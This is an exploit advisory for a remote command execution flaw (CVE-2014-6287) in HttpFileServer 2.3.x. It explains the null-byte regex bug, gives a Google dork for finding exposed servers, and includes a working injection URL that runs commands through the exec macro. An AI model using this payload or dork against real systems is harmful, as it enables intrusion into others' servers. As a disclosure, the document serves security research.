HttpFileServer 2.3.x Remote Command Execution

2014.09.13

Credit: Daniele Linguaglossa

Risk: High

Local: No

Remote: Yes

CVE: CVE-2014-6287

CWE: CWE-78

Dork: intext:\"httpfileserver 2.3\"

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Affected software: http://sourceforge.net/projects/hfs/
Version : 2.3x
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 11-09-2014
# Remote: Yes
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
issue exists due to a poor regex in the file ParserLib.pas
function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;
it will not handle null byte so a request to
http://localhost:80/search=%00{.exec|cmd.}
will stop regex from parse macro , and macro will be executed and remote code injection happen.

See this note in RAW Version

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HttpFileServer 2.3.x Remote Command Execution

Dork: intext:\"httpfileserver 2.3\"

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